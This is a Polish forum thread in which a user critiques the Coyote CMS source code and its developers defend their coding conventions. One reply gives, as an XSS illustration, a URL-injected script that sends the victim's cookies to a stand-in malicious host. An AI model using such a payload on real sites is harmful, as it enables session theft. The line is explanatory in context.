Kącik malkontenta :-)

0

Witam!

Dawno nie zaglądałem na 4programmers.net, a jestem z tym serwisem związany emocjonalnie ;-) już 5 lat. W końcu to Adam Boduch pomagał mi rozwiązać kilka problemów z Delphi drogą emailową. Ale do rzeczy. Pobrałem sobie źródła Coyote z CVS i oczom nie wierzę. Jest tam tak wiele błędów i niedociągnięć, że ręce opadają. Pozwolę wymienić sobie kilka z nich:

  • używanie include_once zamiast require_once do dołączania wymaganych przez skrypt plików (np. z funkcjami), bez których dalsze wykonanie skryptu jest niemożliwe.

  • brak pożądnego czyszczenia danych wprowadzonych przez użytkownika, co z kolei otwiera furtkę dla ataków XSS

  • $fileExt -> pomijając sensowność używania tej zmiennej, w różnych plikach ustalana jest ona w odmienny sposób. Np. w index.php pobieracie ją wyciągając rozszerzenie z wykonywanego pliku, a w innej dolaczacie plik .inc

  • pisanie $sql = 'query'; $result = $db->sql_query($sql); zamiast $db->sql_query('query'); co prowadzi tylko do tworzenia niepotrzebnej zmiennej $sql.

  • uzywanie int()$zmienna zamiast intval($zmienna) i wiele innych nie tyle bledow co brzydkiego stylu pisania kodu.

O ile większość z rzeczy wymienionych powyżej, a które wychwyciłem na szybko nie jest niczym groźnym, o tyle brak czyszczenia danych to błąd krytyczny. Piszę to tylko po to, aby wskazać Wam pewne niedociągnięcia co zapewne zaowocuje lepszej jakości kodem. Chętnie pomogę jeśli będzie trzeba ;-).

Ps. Nie myślałem, że będę kiedyś wytykał błędy A.B. [green]

0

co do $fileExt to też nie za bardzo widzę po co to.. kiedyś .php było zamieniane na .html ale to stare czasy, kiedy roboty bardziej patrzyły na html.. nie wiem po co to utrzymywać

0

To jeszcze coś dodam.

Pełno redeklarowanych funkcji. Nie lepiej wsadzić często używane funkcje php (print_header(), print_footer() ) np. do includes/functions.php, a funkcje .js (takie jak np. checkAll( n, fldID ) ) do global.js? ?

0

od tego masz bugtrackera

0

A bugtracker is a ticket tracking system that is designed especially to manage problems (software bugs) with computer programs.

Jak widać nie kwalifikuje się to do BugTrackera, gdyż wyżej wymienione rzeczy nie są błędami.

0

to przeczytaj DOKLADNIE swoj pierwszy post i odpowiedz mi, jak nazwales te swoje hmm.. "sugestie"
ps. wiem co to jest bugtracker

0
  • używanie include_once zamiast require_once do dołączania wymaganych przez skrypt plików (np. z funkcjami), bez których dalsze wykonanie skryptu jest niemożliwe.

I jaki problem miało by to spowodować? I tak nikt nie usunie tych wymaganych plików.

  • brak pożądnego czyszczenia danych wprowadzonych przez użytkownika, co z kolei otwiera furtkę dla ataków XSS

Fakt, przydała by się oddzielna klasa obsługująca pobieranie danych z GET i POST. Ale gdzie tu widzisz miejsce na XSS?

  • pisanie $sql = 'query'; $result = $db->sql_query($sql); zamiast $db->sql_query('query'); co prowadzi tylko do tworzenia niepotrzebnej zmiennej $sql.

To raptem kilkaset bajtów więcej, więc nie widzę problemu, a jest ciut czytelniej, aczkolwiek też nie wiem po co to $sql.

Powiem tak: coyote ma trochę niedociągnięć, ale ogólnie rzecz biorąc uważam, że się czepiasz.

0
  • używanie include_once zamiast require_once do dołączania wymaganych przez skrypt plików (np. z funkcjami), bez których dalsze wykonanie skryptu jest niemożliwe.

Np. w ktorym miejscu?

  • brak pożądnego czyszczenia danych wprowadzonych przez użytkownika, co z kolei otwiera furtkę dla ataków XSS

Gdzie? Jezeli zauwazysz taki blad, prosimy o kontakt na [email protected]

Rozwiazanie zwiazane z pobieraniem rozszerzenia aktualnego pliku jest sukcesywanie wprowadzane w modyfikowanych plikach i zastepuje sposob pobierania rozszerzenia z pliku .inc. A dlaczego tak? Aby mozna bylo ustalic inne rozszerzenie plikow .php. Np. kiedys strona chodzila z rozszerzeniami .html.

  • pisanie $sql = 'query'; $result = $db->sql_query($sql); zamiast $db->sql_query('query'); co prowadzi tylko do tworzenia niepotrzebnej zmiennej $sql.

Przyjrzyj sie niektorym projektom napisanym w PHP. Jest to ogolnie przyjeta metoda wysylania zapytan, pozwalajaca na pisanie czytelniejszego kodu.

  • uzywanie int()$zmienna zamiast intval($zmienna) i wiele innych nie tyle bledow co brzydkiego stylu pisania kodu.

Kto powiedzial ze rzutowanie jest okazem brzydkiego pisania? I gdzie sa te inne przyklady "brzydkiego" kodu? Rzutowanie w wielu miejscach w kodzie, zastapilo sposob z uzywaniem funkcji intval() i tym podobnych, wlasnie ze wzgledu na czytelnosc kodu.

0
ŁF napisał(a)

I jaki problem miało by to spowodować? I tak nikt nie usunie tych wymaganych plików.

Standardy kodowania... http://webdocs.math.univ-rennes1.fr/php/en/pear.standards.including.html

ŁF napisał(a)

Fakt, przydała by się oddzielna klasa obsługująca pobieranie danych z GET i POST. Ale gdzie tu widzisz miejsce na XSS?

somefile.php?do=<script>window.location = 'http://zlosliwastrona.com/zapiszinfo.php?c=' + document.cookie();</script> wsadzone w tinyurl czy inny serwis tego rodzaju lub też w ramkę umożliwia przesłanie wartości ciastek zapisanych na komputerze klienta do potencjalnego hakera. $_REQUEST['do'] jest tu tylko przykładem.

ŁF napisał(a)

To raptem kilkaset bajtów więcej, więc nie widzę problemu, a jest ciut czytelniej, aczkolwiek też nie wiem po co to $sql.

Adamie:

      $result = $db->sql_query("
        SELECT article_subject, text_content
        FROM " . ARTICLE_TABLE . ", " . TEXT_TABLE . ", " . CAT_TABLE . "
        WHERE text_current = 1
          AND article_id = text_id
          AND cat_article = text_id
          AND cat_id = $cat_id
        ORDER BY text_time DESC
        LIMIT " . intval($param_ary['LIMIT'])
      );

na pewno nie jest mniej czytelne od:

      $sql = 'SELECT article_subject,
                     text_content
              FROM ' . ARTICLE_TABLE . ', ' . TEXT_TABLE . ', ' . CAT_TABLE . '
              WHERE text_current = 1
                    AND article_id = text_id
                    AND cat_article = text_id
                    AND cat_id = ' . $cat_id . '
              ORDER BY text_time DESC
              LIMIT ' . (int)$param_ary['LIMIT'];
      $result = $db->sql_query($sql);
ŁF napisał(a)

Powiem tak: coyote ma trochę niedociągnięć, ale ogólnie rzecz biorąc uważam, że się czepiasz.

Tak już mam, 4 lat pisania kodu PHP sprawiło, że czepiam się szczegółów. ;-) Ale nie chcę, żeby to brzmiało jak "Ha ha ha, jestem najmądrzejszy, a wy nie potraficie pisać aplikacji" bo np. w Delphi czy Basicu pewnie jesteście dla mnie niedoścignionym wzorem ;-). Pewne standardy kodowania zostały już dawno ustalone, a kod obecnie tworzony najczęściej pisany jest zastosowaniem poniższych zasad:

http://webdocs.math.univ-rennes1.fr/php/en/pear.standards.html
http://www.vbulletin.com/docs/html/codestandards

Adam Boduch napisał(a)

Rozwiazanie zwiazane z pobieraniem rozszerzenia aktualnego pliku jest sukcesywanie wprowadzane w modyfikowanych plikach i zastepuje sposob pobierania rozszerzenia z pliku .inc. A dlaczego tak? Aby mozna bylo ustalic inne rozszerzenie plikow .php. Np. kiedys strona chodzila z rozszerzeniami .html.

mod_rewrite? :-)

Adam Boduch napisał(a)

Kto powiedzial ze rzutowanie jest okazem brzydkiego pisania? I gdzie sa te inne przyklady "brzydkiego" kodu? Rzutowanie w wielu miejscach w kodzie, zastapilo sposob z uzywaniem funkcji intval() i tym podobnych, wlasnie ze wzgledu na czytelnosc kodu.

^^ standardy kodowania.

Inne przykłady?

while ( $row = $db->sql_fetch($result) )

A teraz zapoznaj się z wyglądem kodu np. w PEAR.

Adam Boduch napisał(a)

Przyjrzyj sie niektorym projektom napisanym w PHP. Jest to ogolnie przyjeta metoda wysylania zapytan, pozwalajaca na pisanie czytelniejszego kodu.

Jedyne co w tej chwili przychodzi mi na myśl to phpBB zwane wśród niektórych serem szwajcarskim ze względu na ilość dziur.

Adam Boduch napisał(a)

Gdzie? Jezeli zauwazysz taki blad, prosimy o kontakt na [email protected]

Pozbieram je do kupy i wyślę...

W każdym razie całkiem nieźle Kojot wygląda :-)

0
gulldarek napisał(a)
ŁF napisał(a)

I jaki problem miało by to spowodować? I tak nikt nie usunie tych wymaganych plików.

Standardy kodowania... http://webdocs.math.univ-rennes1.fr/php/en/pear.standards.including.html

To sa standardy przyjete w PEAR, tu panuja po prostu inne.

gulldarek napisał(a)

somefile.php?do=<script>window.location = 'http://zlosliwastrona.com/zapiszinfo.php?c=' + document.cookie();</script> wsadzone w tinyurl czy inny serwis tego rodzaju lub też w ramkę umożliwia przesłanie wartości ciastek zapisanych na komputerze klienta do potencjalnego hakera. $_REQUEST['do'] jest tu tylko przykładem.

Nie chodzilo o przyklad co to jest XSS ale o przyklad dziury w kojocie.

gulldarek napisał(a)

Pewne standardy kodowania zostały już dawno ustalone, a kod obecnie tworzony najczęściej pisany jest zastosowaniem poniższych zasad:

http://webdocs.math.univ-rennes1.fr/php/en/pear.standards.html
http://www.vbulletin.com/docs/html/codestandards

Przez kogo? Programistow PEAR? Tak samo kazdy programista moze ustalic swoje wlasne standardy, chodzi po prostu o to, zeby kod byl zrozumialy i w miare szybki.

gulldarek napisał(a)
Adam Boduch napisał(a)

Rozwiazanie zwiazane z pobieraniem rozszerzenia aktualnego pliku jest sukcesywanie wprowadzane w modyfikowanych plikach i zastepuje sposob pobierania rozszerzenia z pliku .inc. A dlaczego tak? Aby mozna bylo ustalic inne rozszerzenie plikow .php. Np. kiedys strona chodzila z rozszerzeniami .html.

mod_rewrite? :-)

A co jak bedziesz chcial odpalic kojota na serwerze gdzie nie ma mod_rewrite?

gulldarek napisał(a)
Adam Boduch napisał(a)

Kto powiedzial ze rzutowanie jest okazem brzydkiego pisania? I gdzie sa te inne przyklady "brzydkiego" kodu? Rzutowanie w wielu miejscach w kodzie, zastapilo sposob z uzywaniem funkcji intval() i tym podobnych, wlasnie ze wzgledu na czytelnosc kodu.

^^ standardy kodowania.

No to w takim razie standardy sa zle i juz skoro "wymuszaja" mniej przejrzysty kod.

gulldarek napisał(a)

Inne przykłady?

while ( $row = $db->sql_fetch($result) )

A teraz zapoznaj się z wyglądem kodu np. w PEAR.

Nie rozumiem co zlego jest w tej petli procz tego, ze ktos tam napisal ja inaczej.

0

co do XSS pamietam ze komus sie udało wstrzyknąć disabled="disabled" do pola formularza w szukarce, a wiec problem istnieje..

a poza tym kolego Gulldareku czepiasz sie, tylko dlatego ze obowiązujace tutaj zasady tworzenia kodu są inne niż w PEAR.. to jest po prostu śmieszne :|

0

Adamie:

[...]

Kwestia gustu. Dla mnie druga wersja jest o wiele przejrzystsza.

ŁF napisał(a)

Powiem tak: coyote ma trochę niedociągnięć, ale ogólnie rzecz biorąc uważam, że się czepiasz.

Pewne standardy kodowania zostały już dawno ustalone, a kod obecnie tworzony najczęściej pisany jest zastosowaniem poniższych zasad:

http://webdocs.math.univ-rennes1.fr/php/en/pear.standards.html
http://www.vbulletin.com/docs/html/codestandards

Dobrze, sa to standardy kodowania dla tych wlasnie projektow, nie ogolnie przyjete i praktykowane wszedzie i zawsze :) Praktycznie kazdy projekt stosuje jakis tam standard kodowania. Popatrz np. na duze systemy jakie jak ezPublish czy Wiki: kod tam pisany jest moim zdaniem paskudny, no ale coz - takie standardy przyjeli ich tworcy. Nie widze powodu dla ktorego mialbym stosowac kodowanie jakie zostalo przyjete w PEAR, tylko dlatego ze jest to standard dla tego projektu. To samo tyczy sie stosowania intval() zamiast rzutowania (int). JaK powiedzialem - jest to moze ich standard - nie nasz.

mod_rewrite? :-)

Nie wszystkie serwery obsluguja .htaccess, nie mowiac juz o mod_rewrite. Np. w owczesnym czasie, gdy rozszerzeniem plikow bylo .html, nie bylo obslugi tego modulu.

gulldarek napisał(a)

^^ standardy kodowania.

Inne przykłady?

while ( $row = $db->sql_fetch($result) )

A teraz zapoznaj się z wyglądem kodu np. w PEAR.

Hmm... nie mam pod reka zrodel PEAR, ale co jest tu nie tak? Rowniez programuje w PHP od 4 lat, nie widze powodu dla ktorego mialbym zmieniac swoje przyzwyczajenia, poniewaz cos jest standardem w PEAR czy vBulletin poniewaz nie sa to ogolnie przyjete standardy (bo takowe nie istnieja w zadnym jezyku programowania. Owszem w niektorych przewazaja, np. zapis kodu jezyka Pascal, ale nie wszyscy sie do tego stosuja, bo wola np. pisac slowo begin w jednej linii z then, a nie pod nia). Powtarzam sie ale nie lubie pisac { w tej samej linii (zawsze umieszczam w nowej), nie stosuje stylu wielbladziego w nazwach klas, zmiennych itp.

0
Adam Boduch napisał(a)

Kwestia gustu. Dla mnie druga wersja jest o wiele przejrzystsza.

O gustach się nie dyskutuje ;-)

Adam Boduch napisał(a)

Dobrze, sa to standardy kodowania dla tych wlasnie projektow, nie ogolnie przyjete i praktykowane wszedzie i zawsze :) Praktycznie kazdy projekt stosuje jakis tam standard kodowania. Popatrz np. na duze systemy jakie jak ezPublish czy Wiki: kod tam pisany jest moim zdaniem paskudny, no ale coz - takie standardy przyjeli ich tworcy. Nie widze powodu dla ktorego mialbym stosowac kodowanie jakie zostalo przyjete w PEAR, tylko dlatego ze jest to standard dla tego projektu. To samo tyczy sie stosowania intval() zamiast rzutowania (int). JaK powiedzialem - jest to moze ich standard - nie nasz.

Problem polega na tym, że znakomita czesc programistow przyjela sposob pisania kodu PEAR jako powszechny standard, dlatego tez o nim wspominam.

Adam Boduch napisał(a)

Hmm... nie mam pod reka zrodel PEAR, ale co jest tu nie tak?

Spacje miedzy nawiasami. ;-P

Adam Boduch napisał(a)

Powtarzam sie ale nie lubie pisac { w tej samej linii (zawsze umieszczam w nowej), nie stosuje stylu wielbladziego w nazwach klas, zmiennych itp.

Podobnie jak ja i podobnie jak w vBulletinie który osobiście jest moim ideałem pod względem przejrzystosci kodu. Ale za ta przejrzystosc [i duza predkosc] placi sie 160 dolcow ;-P

Nie bede sie spieral, bo w koncu to nie moj projekt, a Ty jestes dla mnie niejako guru programowania w Delphi bo gdy jeszcze raczkowalem w tym jezyku ty miales juz 4programmers.net. Kursu pisania edytora tekstowego dlugo nie zapomne :-)

PS. Jesli potrzebna Wam obsluga MySQLi to wlasnie takowa napisalem (+ przepisalem klase db -> db ma teraz standardowe metody, a obsluga MySQL i MySQLi trzymana jest w osobnych obiektach rozszerzajacych funkcjonalnosc klasy db.)

0

@gulldarek jak chcesz się przyczynić do rozwoju Kojota, to odpal edytorek i poprawiaj, mi też się wiele rzeczy w kodowaniu nie podoba ale się nie odzywam bo każdy koder ma niejako swoje zasady. Ja mam swoje i one dla mnie rox, Tobie podobają się PEARowe i ok, ale czepianie się kogoś za inne kodowanie to jak stwierdzenia, że kodze ja ludzie od PEARa i jestem dżezi, a Wy sux :|peace ;-)

0
Bełdzio napisał(a)

ale czepianie się kogoś za inne kodowanie to jak stwierdzenia, że kodze ja ludzie od PEARa i jestem dżezi, a Wy sux :|peace ;-)

daj mu sie wycwaniaczyc

0

To się wycwaniacze:

@Bełdzio - możesz przetłumaczyć na język polski swoją wypowiedź? A konkretnie to:

ale czepianie się kogoś za inne kodowanie to jak stwierdzenia, że kodze ja ludzie od PEARa i jestem dżezi, a Wy sux :|peace ;-)

0
gulldarek napisał(a)

To się wycwaniacze:

Wiem wiem

z tego co pisales - dawno tu nie zagladales...
zauwazyles bledy... podzieliles sie przemysleniami...

Ale zauwaz....kazdy pisze w bugtrackerze takowe spostrzezenia...nikt nie pisze "widze blad.hahaha" (to bardzo luzny przyklad) Chlopaki (z tego co zauwazam) widza blad...pomysla deczko w domu przed monitorem i zglaszaja blad, a chwile potem wrzucaja poprawke na CVS..nikt nie wozi sie ze znalazl bledy...to jest w przypadku tego projektu naturalne niczym lodowa czapa na biegunie.. nie masz dostepu do cvs? pisz do kogos kto ma takowy dostep, zaloza ci konto z dostepem do CVS... wiedz ze kazdy aktywny developer coyote, czy tez jakis cichy "pomocnik" widza podobny blad...nikt jednak nie pisze tak jak ty....chcesz aktywnie pomagac? dołącz..bedziesz mogl pomoc w zlikwidowaniu bledow, ktore to namierzyles....
Przydasz sie ze swoja wiedza

0

@gulldarek ogólnie chodzi mi o to, że 99% Twojej wypowiedzi to stwierdzenie, że skoro Kojot nie jest kodowany w stylu PEAR to jest zły :| styl kodzenia jest to samo indywidualna sprawa jak wybór edytora :)

0

To tak dla ukrucenia dyskusji polecam zajrzeć do tego, jakie zasady zostały przyjęte dla projektu Coyote: Manual

Swoją drogą nie widzę podstaw dla których zasady przyjęte w PEAR miałyby być "ogólnie przyjętymi zasadami kodowania". Taki tekst mógłby paść tylko wtedy, gdy developerzy PHP stwierdziliby, że przyjmują taki standard i narzucają go wszystkim piszącym w PHP. Oby taki dzień nie nadszedł.

0
Adam.Pilorz napisał(a)

To tak dla ukrucenia dyskusji polecam zajrzeć do tego, jakie zasady zostały przyjęte dla projektu Coyote: Manual

Swoją drogą nie widzę podstaw dla których zasady przyjęte w PEAR miałyby być "ogólnie przyjętymi zasadami kodowania". Taki tekst mógłby paść tylko wtedy, gdy developerzy PHP stwierdziliby, że przyjmują taki standard i narzucają go wszystkim piszącym w PHP. Oby taki dzień nie nadszedł.

i nie nadajdzie :-) musieliby upośledzić parser, żeby zwracał uwagę na styl pisania, a to już byłby szczyt :-) aktualnie rozwój php zmierza w dobrym kierunku więc o takie "coś" nie musimy się bać :-)

1 użytkowników online, w tym zalogowanych: 0, gości: 1